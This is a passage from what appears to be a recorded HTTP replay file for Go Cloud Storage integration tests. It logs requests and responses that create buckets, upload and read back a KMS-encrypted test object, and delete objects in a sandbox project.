XJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jbWVrL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY21layIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTc4MTI2NDc3IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0kzSnpQdngvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJVSTc4NUE9PSIsImV0YWciOiJDSTNKelB2eC9lRUNFQUU9Iiwia21zS2V5TmFtZSI6InByb2plY3RzL2Rla2xlcmstc2FuZGJveC9sb2NhdGlvbnMvZ2xvYmFsL2tleVJpbmdzL2dvLWludGVncmF0aW9uLXRlc3QvY3J5cHRvS2V5cy9rZXkxL2NyeXB0b0tleVZlcnNpb25zLzEifQ==" - } - }, - { - "ID": "8972a840dc3d95a5", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/csek?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:18 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoTmNCzrFh_7cFaryet35nLbKqM6dyo7nvsyZApHIj6fLKcMDb9ZA-_TRNjGOLNFjjoD0IZ1YOz9P-ftNchBFkjWDTaFzBjbHmryCc9JInU3wd_DLw" - ] - }, - "Body": "" - } - }, - { - "ID": "1e28b278fe3e0a66", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/cmek?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:18 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqrX5OILXadm6r5e8fLyuLEhQncM5jrmmDaOesSqraquvQbXXKhTqNJ63RYU3qj90M3FLjwnAOz8oOBTQQDOq2sRqUkbpBbJzYj82Rp3Rd9VLpNns0" - ] - }, - "Body": "" - } - }, - { - "ID": "d1ac5d123ee4bae6", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "200" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJlbmNyeXB0aW9uIjp7ImRlZmF1bHRLbXNLZXlOYW1lIjoicHJvamVjdHMvZGVrbGVyay1zYW5kYm94L2xvY2F0aW9ucy9nbG9iYWwva2V5UmluZ3MvZ28taW50ZWdyYXRpb24tdGVzdC9jcnlwdG9LZXlzL2tleTEifSwibG9jYXRpb24iOiJVUyIsIm5hbWUiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "609" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:19 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpbajYTiCBBelYuwcqOs7_O-SyJbcV6WGwYhC4JCMmeImLlFLb93JyaiYrSp-201iYZTIdQ2VViFR_Emxe2Z7b4jV_G-0o2xzkqnkSnz0-Qcw_q0Wc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE5LjA2N1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoxOS4wNjdaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImVuY3J5cHRpb24iOnsiZGVmYXVsdEttc0tleU5hbWUiOiJwcm9qZWN0cy9kZWtsZXJrLXNhbmRib3gvbG9jYXRpb25zL2dsb2JhbC9rZXlSaW5ncy9nby1pbnRlZ3JhdGlvbi10ZXN0L2NyeXB0b0tleXMva2V5MSJ9LCJsb2NhdGlvbiI6IlVTIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FFPSJ9" - } - }, - { - "ID": "d035cdb991d0fabb", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0019?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2555" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:19 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:19 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uoi5SKd4TdRXg-INW-U3pKcPA2ioBWIc2zdC5W3J4efS9iZ0EKFNqprjQ-NGEK_3wSDGezk4Al3Dd4JovGxXSnH73rIw22S_R__XRrpTQmYpTiNFGQ" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE5LjA2N1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoxOS4wNjdaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJlbmNyeXB0aW9uIjp7ImRlZmF1bHRLbXNLZXlOYW1lIjoicHJvamVjdHMvZGVrbGVyay1zYW5kYm94L2xvY2F0aW9ucy9nbG9iYWwva2V5UmluZ3MvZ28taW50ZWdyYXRpb24tdGVzdC9jcnlwdG9LZXlzL2tleTEifSwib3duZXIiOnsiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0In0sImxvY2F0aW9uIjoiVVMiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUU9In0=" - } - }, - { - "ID": "672cb2bcc1ed4ee2", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0019/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkiLCJuYW1lIjoia21zIn0K", - "bXkgc2VjcmV0" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3234" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:20 GMT" - ], - "Etag": [ - "CLHMt/zx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Upyst1aH69iaN9J4055oX7H2yReN5TADIX11Vul8KakNuYZbJ7yXm1GBdvCDVB-IPTvbhzELJWgfurnIHxGpzKJszLO70n58xMnVbSLsHX1J3W02Lw" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9rbXMvMTU1NjgzNTk3OTg3OTk4NSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9vL2ttcyIsIm5hbWUiOiJrbXMiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk3OTg3OTk4NSIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoxOS44NzlaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MTkuODc5WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE5Ljg3OVoiLCJzaXplIjoiOSIsIm1kNUhhc2giOiJBQVBRUzQ2VHJuTVlucWlLQWJhZ3RRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L28va21zP2dlbmVyYXRpb249MTU1NjgzNTk3OTg3OTk4NSZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9rbXMvMTU1NjgzNTk3OTg3OTk4NS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkvby9rbXMvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsIm9iamVjdCI6ImttcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTc5ODc5OTg1IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNMSE10L3p4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9rbXMvMTU1NjgzNTk3OTg3OTk4NS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L28va21zL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5Iiwib2JqZWN0Ijoia21zIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5Nzk4Nzk5ODUiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTEhNdC96eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTkva21zLzE1NTY4MzU5Nzk4Nzk5ODUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9vL2ttcy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOSIsIm9iamVjdCI6ImttcyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTc5ODc5OTg1IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNMSE10L3p4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOS9rbXMvMTU1NjgzNTk3OTg3OTk4NS91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5L28va21zL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE5Iiwib2JqZWN0Ijoia21zIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5Nzk4Nzk5ODUiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTEhNdC96eC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IlVJNzg1QT09IiwiZXRhZyI6IkNMSE10L3p4L2VFQ0VBRT0iLCJrbXNLZXlOYW1lIjoicHJvamVjdHMvZGVrbGVyay1zYW5kYm94L2xvY2F0aW9ucy9nbG9iYWwva2V5UmluZ3MvZ28taW50ZWdyYXRpb24tdGVzdC9jcnlwdG9LZXlzL2tleTEvY3J5cHRvS2V5VmVyc2lvbnMvMSJ9" - } - }, - { - "ID": "c037ecafa6249395", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0019/kms", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "9" - ], - "Content-Type": [ - "text/plain; charset=utf-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:20 GMT" - ], - "Etag": [ - "\"-CLHMt/zx/eECEAE=\"" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:26:19 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Encryption-Kms-Key-Name": [ - "projects/deklerk-sandbox/locations/global/keyRings/go-integration-test/cryptoKeys/key1/cryptoKeyVersions/1" - ], - "X-Goog-Generation": [ - "1556835979879985" - ], - "X-Goog-Hash": [ - "crc32c=UI785A==", - "md5=AAPQS46TrnMYnqiKAbagtQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "9" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrrQOFSgCkxAaKVPAQhz0ohMN6irPryraHLjWDEQgV3dNEwc5cxqcDDRChzx6_HR1Z_NPlm3vmjFCJcNK-2rAz-tmvVS8w36Q5U9Lc2wAGUgL_joX4" - ] - }, - "Body": "bXkgc2VjcmV0" - } - }, - { - "ID": "fc3eda648104f042", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0019/o/kms?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3234" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:20 GMT" - ], - "Etag": [ - "CLHMt/zx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - 